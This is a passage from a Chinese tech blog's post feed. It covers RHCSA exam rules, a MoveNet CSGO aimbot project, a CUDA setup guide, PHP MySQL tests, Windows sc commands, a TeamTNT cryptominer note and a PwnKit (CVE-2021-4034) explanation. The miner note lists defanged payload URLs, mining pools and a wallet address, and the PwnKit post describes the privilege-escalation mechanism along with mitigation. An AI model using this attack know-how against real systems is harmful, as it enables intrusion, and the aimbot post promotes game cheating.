关于这些资源的具体信息将在需要这些资源的项目中提供</p><h2 id="评测"><a href="#评测" class="headerlink" title="评测"></a>评测</h2><p>除非另有指定， 否则您的所有工作（ 包括Ansible playbook、 配置文件和主机清单等） 应当保存</p><p>在控制节点上的目录&#x2F;home&#x2F;student&#x2F;ansible中， 并且应当归student用户所有。 所有Ansible相关的命令应当由student用户从Ansible控制节点上的这个目录运行。</p><p>请注意， 在评分之前， 您的Ansible受管节点系统将重置为考试开始时的初始状态， 您编写的Ansible playbook将通过以student用户身份从控制节点上的目</p><p>录&#x2F;home&#x2F;student&#x2F;ansible目录运行来应用。 在playbook运行后， 系统会对您的受管节点进行评估，以判断它们是否按照规定进行了配置。</p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> RHCSA考试时间 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>AI爆头-使用MoveNet玩FPS游戏CSGO</title>
      <link href="/archives/python/use-movenet-play-fps-game.html"/>
      <url>/archives/python/use-movenet-play-fps-game.html</url>
      
        <content type="html"><![CDATA[<p>前段时间出于兴趣，弄了个yolo v5 训练游戏中目标并进行射击的小程序，后面看到movenet，也想尝试下，我是一个初学者，也没找到其他和fps相关的项目来做参考，就参照movenet给的项目代码改了一下，后面测了下还行，当然也有需要改进的地方，不足之处欢迎指正</p><p>代码总共100多行，借助于tensorflow框架，方便很多，实际使用过程中，中近距离没有问题，但是远距离识别率有点低，后期考虑再训练下模型</p><p>识别对比和后期功能完善：</p><ol><li>检测时间，yolov5在3-8ms左右，movenet在10-15ms，</li><li>使用pyautogui或mss进行截图，然后截取区域进行检测，时间大约在10-35ms不等，考虑其他更快的截图方式</li><li>yolov5 通过GitHub给的模型训练自己的模型比较方便，labelimg 进行标注然后进行训练即可，比较方便快捷。movenet模型训练方法还在学习和寻找</li></ol><p>movenet 项目介绍和使用都比较详细，安装tensorflow2.0框架后，调用和使用都比较方便</p><h2 id="movenet-官网项目地址"><a href="#movenet-官网项目地址" class="headerlink" title="**movenet 官网项目地址 **"></a><a href="https://www.tensorflow.org/hub/tutorials/movenet">**movenet 官网项目地址 **</a></h2><p>基于原代码删减后，只保留了检测和显示两个函数，添加了截图和鼠标自动瞄准</p><h2 id="★-GitHub项目地址"><a href="#★-GitHub项目地址" class="headerlink" title="** ★ GitHub项目地址**"></a><a href="https://github.com/urldecode/AutoShot-MoveNet">** ★ GitHub项目地址**</a></h2><ul><li>环境搭建可以参考另外一篇文章</li></ul><h2 id="movenet环境搭建"><a href="#movenet环境搭建" class="headerlink" title="movenet环境搭建"></a><a href="https://www.hao.kim/python/python-movenet-env-build-md.html"><strong>movenet环境搭建</strong></a></h2><ul><li>YOLO v5项目地址</li></ul><h2 id="FPSGame-autoshot"><a href="#FPSGame-autoshot" class="headerlink" title="FPSGame-autoshot"></a><a href="https://github.com/urldecode/FPSGame-autoshot"><strong>FPSGame-autoshot</strong></a></h2><p><img src="https://images.hao.kim/uploads/2024/08/e37127669b0e29dff51c9a24890eb97ab227d60e03a77fe27d453bedb6b1c76d.png" alt="图 0"><br><img src="https://images.hao.kim/uploads/2024/08/bbfa550181ed2c3c19c77d855769eafc1e25e07b2267e8e3cddb5ae3a658829e.png" alt="图 1"><br><img src="https://images.hao.kim/uploads/2024/08/20a001e440b8b3c53d1f8cc4dfa116f20ae45dcf1756e62c6913211ebd1d10e2.png" alt="图 2"></p>]]></content>
      
      
      <categories>
          
          <category> python </category>
          
      </categories>
      
      
        <tags>
            
            <tag> AI爆头 </tag>
            
            <tag> movenet </tag>
            
            <tag> CSGO </tag>
            
            <tag> fps 游戏 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MoveNet环境手把手搭建TensorFlow+cuda+cudnn+zlib</title>
      <link href="/archives/python/python-movenet-env-build-md.html"/>
      <url>/archives/python/python-movenet-env-build-md.html</url>
      
        <content type="html"><![CDATA[<p>movenet需要使用tensorflow框架和显卡驱动的支持，环境的搭建可以通过anacanda一键搭建，但对于我这个初学者，比较喜欢需要什么安装什么来一步步搭建  环境主要需要这么几个：</p><p>movenet模型（可在线下载） opencv-python tensorflow tensorflow-gpu tensorflow_docs tensorflow_hub cuda cudnn zlib</p><h3 id="1-movenet介绍和使用示例"><a href="#1-movenet介绍和使用示例" class="headerlink" title="1. movenet介绍和使用示例"></a>1. movenet介绍和使用示例</h3><p><a href="https://www.tensorflow.org/hub/tutorials/movenet"><strong>MoveNet: Ultra fast and accurate pose detection model</strong></a></p><h3 id="2-安装扩展"><a href="#2-安装扩展" class="headerlink" title="2. 安装扩展"></a>2. 安装扩展</h3><p>opencv-python , tensorflow , tensorflow-gpu , tensorflow_docs , tensorflow_hub 都可以通过pip进行安装</p><p><code>pip install opencv-python tensorflow tensorflow-gpu tensorflow_docs tensorflow_hub</code></p><p>如需安装特定版本可以在模块后面加上&#x3D;&#x3D; ，比如 <code>tensorflow==2.7.1</code></p><p>如需查看现在安装的模块信息，可以通过 pip show 模块名 进行查看，比如 <code>pip show tensorflow</code></p><h3 id="3、cuda-toolkit-下载地址"><a href="#3、cuda-toolkit-下载地址" class="headerlink" title="3、cuda toolkit 下载地址"></a>3、cuda toolkit 下载地址</h3><p><a href="https://developer.nvidia.com/cuda-toolkit-archive">发行版本列表</a></p><p><a href="https://developer.nvidia.com/cuda-toolkit-archive">https://developer.nvidia.com/cuda-toolkit-archive</a></p><p>根据自己的系统下载，比如Windows10，cuda11.6.2</p><p><img src="https://images.hao.kim/uploads/2024/08/b8d1c6314366beaedb1715dbee5cf1b31f2deced14283614d2cb481a89b2b7aa.png" alt="图 0"><br><img src="https://images.hao.kim/uploads/2024/08/f9eb97b525a83a267adbf209bd0474d50ed307e2a3818bd1ebdaa8be46111384.png" alt="图 1"></p><p>安装的话一路默认即可</p><h3 id="4、cuDNN下载，可能需要登录和验证"><a href="#4、cuDNN下载，可能需要登录和验证" class="headerlink" title="4、cuDNN下载，可能需要登录和验证"></a>4、cuDNN下载，可能需要登录和验证</h3><p><a href="https://developer.nvidia.com/rdp/cudnn-archive">developer.nvidia.com&#x2F;rdp&#x2F;cudnn-archive</a></p><p>下载后是压缩包，需要把压缩包里面的文件解压到cuda安装路径的对应目录，一般默认在</p><p><code>C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA</code></p><p><img src="https://images.hao.kim/uploads/2024/08/26685bd363a888480ff540556f2c54036c145edd74865b83c3c65cbf8642ff45.png" alt="图 2"></p><h3 id="5、zlib下载和安装"><a href="#5、zlib下载和安装" class="headerlink" title="5、zlib下载和安装"></a>5、zlib下载和安装</h3><p>zlib下载地址</p><p><a href="http://www.winimage.com/zLibDll/zlib123dllx64.zip">www.winimage.com/zLibDll/zlib123dllx64.zip</a></p><p>安装zlib，下载后解压到一个目录，然后把目录添加到系统path环境变量中，cuDNN也可以用同样的方法</p><p><img src="https://images.hao.kim/uploads/2024/08/9d685712d7a876f1131b3dc7af80eed271181ca6e11433163da8f7bbae9cee05.png" alt="图 3"></p><p><img src="https://images.hao.kim/uploads/2024/08/fe4a341ae366c589bcc28784689a40851c014e25578e5ed910c5241833afff0c.png" alt="图 4"></p><p><img src="https://images.hao.kim/uploads/2024/08/8f02fb0c0403183390172e1cde731042200888e239dbf7d7f8d8c84bd2999bc5.png" alt="图 5"></p><h3 id="6、cuDNN和cuda安装和说明文档"><a href="#6、cuDNN和cuda安装和说明文档" class="headerlink" title="6、cuDNN和cuda安装和说明文档"></a>6、cuDNN和cuda安装和说明文档</h3><p><a href="https://docs.nvidia.com/deeplearning/cudnn/install-guide/index.html">https://docs.nvidia.com/deeplearning/cudnn/</a></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a><strong>总结</strong></h3><p>1、python ,tensorflow,opencv ,cuda等的版本</p><pre><code>可以用新的，不必要非要用老的或者指定版本，通过pip安装默认版本即可</code></pre><p>2、not found cudnn_ops_infer64_8.dll 或者not found cudnn_cnn_infer64_8.dll</p><pre><code>一般原因是没有安装cudnn或者没有设置cudnn环境变量</code></pre><p>3、could not load library cudnn_cnn_infer64_8.dll error code 126或者</p><pre><code>could not load library cudnn_cnn_infer64_8.dll error code 193原因是zlib没有安装或者没有设置zlib目录环境变量，</code></pre><h3 id="通过如上一些步骤，基础环境算是部署好了，现在可以测试下movenet是否正常"><a href="#通过如上一些步骤，基础环境算是部署好了，现在可以测试下movenet是否正常" class="headerlink" title="通过如上一些步骤，基础环境算是部署好了，现在可以测试下movenet是否正常"></a>通过如上一些步骤，基础环境算是部署好了，现在可以测试下movenet是否正常</h3><p>使用vscode 打开movenet提供的代码，</p><p><a href="https://www.tensorflow.org/hub/tutorials/movenet">www.tensorflow.org/hub/tutorials/movenet</a></p><p>这里为了验证做了精简</p><p><a href="https://github.com/urldecode/AutoShot-MoveNet">https://github.com/urldecode/AutoShot-MoveNet</a></p><p><img src="https://images.hao.kim/uploads/2024/08/3cf52a6a5bd0eaeb4accf86cf36b04bc49ec29efe64e3eb57567039da4dff01f.png" alt="图 6"></p><p>图片路径和模型路径可根据自己的实际情况修改，模型为手动下载到本地加载，在线加载模型会出错</p><p><img src="https://images.hao.kim/uploads/2024/08/13ec2c7c8aa1104028b71685300cca9d5c91b976c00f4174f9e7b2931fbf31cd.png" alt="图 7"></p><p>效果如图</p><p><img src="https://images.hao.kim/uploads/2024/08/20a001e440b8b3c53d1f8cc4dfa116f20ae45dcf1756e62c6913211ebd1d10e2.png" alt="图 8"><br><img src="https://images.hao.kim/uploads/2024/08/bbfa550181ed2c3c19c77d855769eafc1e25e07b2267e8e3cddb5ae3a658829e.png" alt="图 9"><br><img src="https://images.hao.kim/uploads/2024/08/e37127669b0e29dff51c9a24890eb97ab227d60e03a77fe27d453bedb6b1c76d.png" alt="图 10"><br><img src="https://images.hao.kim/uploads/2024/08/0fab72a3cbdb4d80bd1e31ca62a4793f2060ff971784ee956f7d052b597b8a43.png" alt="图 11"></p>]]></content>
      
      
      <categories>
          
          <category> python </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Movenet </tag>
            
            <tag> cuda </tag>
            
            <tag> cudnn </tag>
            
            <tag> zlib </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>PHP测试MySQL数据库连接是否正常</title>
      <link href="/archives/mysql/php-test-mysql-connect.html"/>
      <url>/archives/mysql/php-test-mysql-connect.html</url>
      
        <content type="html"><![CDATA[<p>要测试 PHP 与 MySQL 数据库的连接是否正常，你可以编写一个简单的 PHP 脚本来检查连接状态。如果连接成功，则表明 PHP 能够正常连接到 MySQL 数据库；如果连接失败，脚本会输出错误信息。</p><p>下面是一个简单的 PHP 脚本示例，用于测试 MySQL 数据库的连接。</p><h3 id="1-使用-mysqli-扩展"><a href="#1-使用-mysqli-扩展" class="headerlink" title="1. 使用 mysqli 扩展"></a>1. 使用 <code>mysqli</code> 扩展</h3><p>这是使用 <code>mysqli</code> 扩展进行 MySQL 连接测试的 PHP 脚本：</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$servername</span> = <span class="string">&quot;localhost&quot;</span>;  <span class="comment">// MySQL 服务器主机名（通常是localhost）</span></span><br><span class="line"><span class="variable">$username</span> = <span class="string">&quot;your_username&quot;</span>; <span class="comment">// MySQL 用户名</span></span><br><span class="line"><span class="variable">$password</span> = <span class="string">&quot;your_password&quot;</span>; <span class="comment">// MySQL 密码</span></span><br><span class="line"><span class="variable">$dbname</span> = <span class="string">&quot;your_database&quot;</span>;   <span class="comment">// 需要连接的数据库名</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 创建连接</span></span><br><span class="line"><span class="variable">$conn</span> = <span class="keyword">new</span> <span class="title function_ invoke__">mysqli</span>(<span class="variable">$servername</span>, <span class="variable">$username</span>, <span class="variable">$password</span>, <span class="variable">$dbname</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查连接</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$conn</span>-&gt;connect_error) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;连接失败: &quot;</span> . <span class="variable">$conn</span>-&gt;connect_error);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;连接成功&quot;</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="2-使用-PDO-扩展"><a href="#2-使用-PDO-扩展" class="headerlink" title="2. 使用 PDO 扩展"></a>2. 使用 <code>PDO</code> 扩展</h3><p>这是使用 PHP 数据对象（PDO）扩展进行 MySQL 连接测试的 PHP 脚本：</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$dsn</span> = <span class="string">&#x27;mysql:host=localhost;dbname=your_database&#x27;</span>; <span class="comment">// 数据源名称</span></span><br><span class="line"><span class="variable">$username</span> = <span class="string">&#x27;your_username&#x27;</span>;  <span class="comment">// MySQL 用户名</span></span><br><span class="line"><span class="variable">$password</span> = <span class="string">&#x27;your_password&#x27;</span>;  <span class="comment">// MySQL 密码</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="variable">$dbh</span> = <span class="keyword">new</span> <span class="title function_ invoke__">PDO</span>(<span class="variable">$dsn</span>, <span class="variable">$username</span>, <span class="variable">$password</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;连接成功&quot;</span>;</span><br><span class="line">&#125; <span class="keyword">catch</span> (PDOException <span class="variable">$e</span>) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;连接失败: &quot;</span> . <span class="variable">$e</span>-&gt;<span class="title function_ invoke__">getMessage</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="3-测试连接"><a href="#3-测试连接" class="headerlink" title="3. 测试连接"></a>3. 测试连接</h3><p>将上述任意一个脚本保存为 <code>test_connection.php</code>，并将其放置在你的服务器（如 Apache 或 Nginx）能够访问的目录中，例如 <code>htdocs</code> 或 <code>www</code> 目录。</p><p>然后，通过浏览器访问该脚本：</p><p><code>http://your-server-ip-or-domain/test_connection.php</code></p><h3 id="4-检查结果"><a href="#4-检查结果" class="headerlink" title="4. 检查结果"></a>4. 检查结果</h3><ul><li>如果连接成功，页面将显示“连接成功”。</li><li>如果连接失败，页面将显示错误信息，指明为什么连接失败。</li></ul><h3 id="常见连接失败原因"><a href="#常见连接失败原因" class="headerlink" title="常见连接失败原因"></a>常见连接失败原因</h3><ul><li><strong>数据库主机名不正确</strong>：通常应为 <code>localhost</code>，但如果数据库在远程服务器上，请使用该服务器的 IP 地址或域名。</li><li><strong>用户名或密码错误</strong>：确保你提供了正确的 MySQL 用户名和密码。</li><li><strong>数据库不存在</strong>：确保指定的数据库名存在。</li><li><strong>MySQL 服务未启动</strong>：确保 MySQL 服务正在运行。</li><li><strong>防火墙设置</strong>：如果你连接的是远程 MySQL 服务器，确保防火墙允许访问 MySQL 的端口（默认是 3306）。</li></ul>]]></content>
      
      
      
    </entry>
    
    
    
    <entry>
      <title>TeamTNT挖矿木马变种再袭</title>
      <link href="/archives/security/TeamTNT-trojans.html"/>
      <url>/archives/security/TeamTNT-trojans.html</url>
      
        <content type="html"><![CDATA[<p>最近遇到TeamTNT挖矿木马，</p><p>新建了hilde用户，top ps等命令被修改，挖矿进程被隐藏，</p><p>这里有一篇详细的分析文章，写得很好，放此收藏  </p><p><a href="https://mp.weixin.qq.com/s?__biz=MzI5ODk3OTM1Ng==&mid=2247498838&idx=1&sn=eeeab2d9e93c8c6a359a6b8c73486d6d"><strong>TeamTNT挖矿木马变种再袭，影响上千云主机，应用腾讯云SOC可轻松处置 (qq.com)</strong></a>  </p><p><img src="https://images.hao.kim/uploads/2024/08/51b60ea6ac3ac2f1d396fef6c9e5f78f9e21afe2c5917ae71b4c0351a1d67fae.png" alt="图 0">  </p><p> 特点：</p><ol><li>在清除竞品挖矿进程后，使用带有“TeamTNT is watching you!”字样的LOCKFILE字符串覆盖相关进程的源文件；</li><li>通过计划任务、系统服务、用户profile文件等多种方式进行持久化；</li><li>篡改系统ps、top、pstree等命令，隐藏自身木马进程；</li><li>篡改系统与重启相关的命令和服务，防止用户重启主机；</li><li>改用Redis未授权访问漏洞对云服务器进行横向攻击传播</li></ol><p> 挖矿木马相关地址：</p><p> <strong>DOMAIN：</strong> <em>oracle.zzhreceive.top xmr-asia1.nanopool.org （矿池） gulf.moneroocean.stream（矿池） donate.v2.xmrig.com（矿池）</em></p><p> <strong>MD5:</strong> <em>bf68dfba47df6c6023ce82686ce68429 58426b3626aea9d1f96c7b8d18ac5ad0 38ba92aafbe6e0f8917eef0eebb624a8 94a3ea919da87035eae05403c00782fd</em></p><p> <strong>URL:</strong> <em>hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;idcheck&#x2F; hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;cryptostart hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;cryptonotfount hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;authfailed hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;authok hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;authfailedroot hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;authokroot hxxp:&#x2F;&#x2F;85.214.149.236:443&#x2F;sugarcrm&#x2F;themes&#x2F; default&#x2F;images&#x2F;mod.jpg hxxp:&#x2F;&#x2F;85.214.149.236:443&#x2F;sugarcrm&#x2F;themes&#x2F; default&#x2F;images&#x2F;stock.jpg hxxps:&#x2F;&#x2F;github.com&#x2F;xmrig&#x2F;xmrig&#x2F;releases&#x2F; download&#x2F;v6.10.0&#x2F;xmrig-6.10.0-linux-static-x64.tar.gz hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;b.sh hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;father.jpg hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;cf.jpg hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;cf.jpg hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F; b2f628fff19fda999999999&#x2F;b.sh hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F; b2f628fff19fda999999999&#x2F;iss.sh hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F; b2f628fff19fda999999999&#x2F;1.0.4.tar.gz hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;p.tar hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;scan hxxp:&#x2F;&#x2F;oracle.zzhreceive.top&#x2F;b2f628&#x2F;rss.sh</em></p><p> <strong>钱包地址：</strong> <em>43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZW i44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9 N5PepeajfmKp1X71EW7jx4Tpz.pokemon6</em></p>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> TeamTNT </tag>
            
            <tag> 挖矿木马 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Windows通过sc命令手动创建服务</title>
      <link href="/archives/windows/use-sc-create-svc.html"/>
      <url>/archives/windows/use-sc-create-svc.html</url>
      
        <content type="html"><![CDATA[<p>在 Windows 中，你可以使用 <code>sc</code> 命令手动创建一个服务。这通常用于将一个可执行文件（例如一个应用程序、脚本或批处理文件）注册为 Windows 服务，以便它可以在后台运行并通过服务管理器进行控制（启动、停止、暂停等）。</p><p>以下是使用 <code>sc</code> 命令创建 Windows 服务的步骤：</p><h3 id="1-打开命令提示符"><a href="#1-打开命令提示符" class="headerlink" title="1. 打开命令提示符"></a>1. 打开命令提示符</h3><p>以管理员身份打开命令提示符：</p><ol><li>按下 <code>Win + X</code>，选择“命令提示符（管理员）”或者“Windows PowerShell（管理员）”。</li><li>或者按下 <code>Win + R</code>，输入 <code>cmd</code>，然后按 <code>Ctrl + Shift + Enter</code> 以管理员身份运行。</li><li>可以使用 <code>sc /?</code> 来查看详细下面是一些常见的命令</li></ol><h3 id="2-使用-sc-create-命令创建服务"><a href="#2-使用-sc-create-命令创建服务" class="headerlink" title="2. 使用 sc create 命令创建服务"></a>2. 使用 <code>sc create</code> 命令创建服务</h3><p>你可以使用以下语法来创建服务：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sc create <span class="string">&quot;YourServiceName&quot;</span> binPath= <span class="string">&quot;C:\Path\To\YourExecutable.exe&quot;</span> start= auto</span><br></pre></td></tr></table></figure><ul><li>“YourServiceName”: 服务的名称，可以自定义，例如 <code>&quot;MyService&quot;</code>。</li><li>binPath&#x3D; “C:\Path\To\YourExecutable.exe”: 服务指向的可执行文件的路径。注意路径需要完整并且带有引号。</li><li>start&#x3D; auto: 指定服务的启动类型。可以是以下几种类型：<ul><li><code>auto</code>: 随系统启动自动启动服务。</li><li><code>demand</code>: 手动启动服务（默认类型）。</li><li><code>disabled</code>: 禁用服务。</li><li><code>delayed-auto</code>: 系统启动后延迟启动。</li></ul></li></ul><p> 注意</p><blockquote><p>在 <code>sc</code> 命令中，等号 <code>=</code> 后面需要有一个空格。</p></blockquote><h3 id="3-示例"><a href="#3-示例" class="headerlink" title="3. 示例"></a>3. 示例</h3><p>例如，假设你有一个名为 <code>MyApp.exe</code> 的应用程序，位于 <code>C:\MyApp\MyApp.exe</code>，并希望将其创建为名为 <code>MyService</code> 的服务，并且服务设置为自动启动：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sc create <span class="string">&quot;MyService&quot;</span> binPath= <span class="string">&quot;C:\MyApp\MyApp.exe&quot;</span> start= auto</span><br></pre></td></tr></table></figure><h3 id="4-查看服务"><a href="#4-查看服务" class="headerlink" title="4. 查看服务"></a>4. 查看服务</h3><p>创建服务后，你可以使用 <code>services.msc</code> 打开服务管理器来查看和管理这个服务。</p><h3 id="5-启动服务"><a href="#5-启动服务" class="headerlink" title="5. 启动服务"></a>5. 启动服务</h3><p>你可以使用以下命令启动服务：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sc start <span class="string">&quot;MyService&quot;</span></span><br></pre></td></tr></table></figure><h3 id="6-删除服务"><a href="#6-删除服务" class="headerlink" title="6. 删除服务"></a>6. 删除服务</h3><p>如果你需要删除服务，可以使用以下命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sc delete <span class="string">&quot;MyService&quot;</span></span><br></pre></td></tr></table></figure><h3 id="7-停止服务"><a href="#7-停止服务" class="headerlink" title="7. 停止服务"></a>7. 停止服务</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sc stop <span class="string">&quot;ServiceName&quot;</span></span><br></pre></td></tr></table></figure><h3 id="8-设置开机启动"><a href="#8-设置开机启动" class="headerlink" title="8. 设置开机启动"></a>8. 设置开机启动</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sc config <span class="string">&quot;MyService&quot;</span> start= auto</span><br></pre></td></tr></table></figure><h3 id="9-查询服务配置信息"><a href="#9-查询服务配置信息" class="headerlink" title="9. 查询服务配置信息"></a>9. 查询服务配置信息</h3><p>要查询某个服务的配置信息，可以使用 sc qc 命令（qc 代表 “query configuration”）：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sc qc <span class="string">&quot;ServiceName&quot;</span></span><br></pre></td></tr></table></figure><h3 id="10-暂停服务"><a href="#10-暂停服务" class="headerlink" title="10. 暂停服务"></a>10. 暂停服务</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sc pause <span class="string">&quot;ServiceName&quot;</span></span><br></pre></td></tr></table></figure><h3 id="11-继续服务"><a href="#11-继续服务" class="headerlink" title="11. 继续服务"></a>11. 继续服务</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sc <span class="built_in">continue</span> <span class="string">&quot;ServiceName&quot;</span></span><br></pre></td></tr></table></figure><h3 id="10-其他常用选项"><a href="#10-其他常用选项" class="headerlink" title="10. 其他常用选项"></a>10. 其他常用选项</h3><ul><li>displayname&#x3D; “Your Display Name”: 设置服务的显示名称，它在服务管理器中显示。</li><li>depend&#x3D; “Service1&#x2F;Service2”: 设置服务依赖项，指定服务启动时需要先启动的服务。</li><li>obj&#x3D; “LocalSystem”: 指定服务运行的账户，<code>LocalSystem</code> 是默认账户。</li><li>type&#x3D; own: 指定服务的类型，<code>own</code> 表示独立服务。</li></ul><h3 id="示例：带有更多选项的命令"><a href="#示例：带有更多选项的命令" class="headerlink" title="示例：带有更多选项的命令"></a>示例：带有更多选项的命令</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sc create <span class="string">&quot;MyService&quot;</span> binPath= <span class="string">&quot;C:\MyApp\MyApp.exe&quot;</span> displayname= <span class="string">&quot;My Application Service&quot;</span> start= auto obj= <span class="string">&quot;LocalSystem&quot;</span> <span class="built_in">type</span>= own</span><br></pre></td></tr></table></figure><p>以上命令创建了一个名为 <code>MyService</code> 的服务，指向 <code>C:\MyApp\MyApp.exe</code>，并设置为自动启动，并且显示名称为 <code>My Application Service</code>。</p><p>通过这些步骤，你可以使用 <code>sc</code> 命令在 Windows 中手动创建并管理服务。</p>]]></content>
      
      
      <categories>
          
          <category> windows </category>
          
      </categories>
      
      
        <tags>
            
            <tag> sc </tag>
            
            <tag> windows创建服务 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CVE-2021-4034</title>
      <link href="/archives/security/cve-2021-4034.html"/>
      <url>/archives/security/cve-2021-4034.html</url>
      
        <content type="html"><![CDATA[<h3 id="1-漏洞简述"><a href="#1-漏洞简述" class="headerlink" title="1. 漏洞简述"></a>1. 漏洞简述</h3><p>Polkit是一个在各类Linux及Unix 操作系统中被广泛用于控制系统范围权限的组件。它为非特权进程与特权进程通信提供了一种有组织的方式，用户可以使用 polkit 以root用户权限执行命令，只要在需要执行的命令前面附加上：pkexec。成功利用CVE-2021-4034，也即Polkit本地提权漏洞允许任何非特权用户在未经漏洞修补的主机上获得 root 权限。</p><h3 id="2-影响面简述"><a href="#2-影响面简述" class="headerlink" title="2. 影响面简述"></a>2. 影响面简述</h3><ul><li>漏洞在多套环境下都得到验证，任何具备普通权限的用户均能够经简单的工具利用该漏洞，获取完整的root权限。</li><li>该漏洞在以默认参数安装的 Ubuntu、Debian、Fedora、CentOS等常见Linux发行版上存在，能够经简单的工具利用获得完整的 root 权限。</li><li>其他 Linux 发行版同样可能容易受到攻击（例如：Solaris，FreeBSD等，但OpenBSD已被明确证明不可利用），攻击者可以经简单的工具利用该漏洞。</li><li>此漏洞已经在代码中存在并隐藏了 12 年多，影响自 2009 年 5 月第一个版本以来的所有 pkexec 版本（commit c8c3d83）。</li><li>该漏洞POC（利用代码）已经由Github等平台公开传播数日，攻击者利用成本极低</li></ul><h3 id="3-复现截图"><a href="#3-复现截图" class="headerlink" title="3. 复现截图"></a>3. 复现截图</h3><p>未修复之前</p><p>gcc xxxxx -o exp<br><img src="https://images.hao.kim/uploads/2024/08/7ae017795c52081ef295713a439de6b5414e7cf5006e66dea06b8e01a727f9a2.png" alt="图 0"></p><p>修复之后<br><img src="https://images.hao.kim/uploads/2024/08/bb76e8cfb08ef0a27fba0469075d652957905bbbbcd2f4fd82d3844c7dff8f8a.png" alt="图 1"></p><h3 id="4-原理简述"><a href="#4-原理简述" class="headerlink" title="4. 原理简述"></a>4. 原理简述</h3><p>pkexec 的 main() 函数在开头（源码 534-568 行）处理命令行参数，并在 PATH 环境变量的目录中搜索要执行的程序（如果其路径不是绝对路径）。此时，如果命令行参数 argc 的数量为 0，则传递给 execve() 的参数列表 argv 为{NULL}，也即 <code>argv[0]</code> 为 NULL，将会导致：</p><p>在第 534 行，整数 n 永久设置为 1；</p><p>在第 610 行，从 <code>argv[1]</code> 越界读取指针路径；</p><p>在第 639 行，指针 s 被越界写入 <code>argv[1]</code>。</p><p>这种越界写入允许我们将一个“不安全”的环境变量（例如，LD_PRELOAD）重新引入 pkexec 的环境。这些“不安全”变量通常在调用 main() 函数之前从 SUID 程序的环境中删除（通过 ld.so）。</p><h3 id="5-修复建议"><a href="#5-修复建议" class="headerlink" title="5. 修复建议"></a>5. 修复建议</h3><ul><li>若操作系统厂商&#x2F;或 社区提供了漏洞修复补丁，则优先通过版本升级应用这些补丁。</li><li>若未发布相关补丁&#x2F;或 情形不容许版本升级操作，则使用命令：chmod 0755 &#x2F;usr&#x2F;bin&#x2F;pkexec 修改polkit可执行文件的权限（删除SUID位）。</li><li>做好信息资产漏洞评估与管理工作，避免攻击者通过其他漏洞间接利用PWNKIT漏洞提升权限，造成不必要的损失。</li></ul><p>其他：</p><p><a href="https://github.com/arthepsy/CVE-2021-4034">arthepsy&#x2F;CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034) (github.com)</a></p>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 2022-01-28 14:17 </tag>
            
            <tag> polkit </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>网址重写扩展 Redirector</title>
      <link href="/archives/tools/url-redirector.html"/>
      <url>/archives/tools/url-redirector.html</url>
      
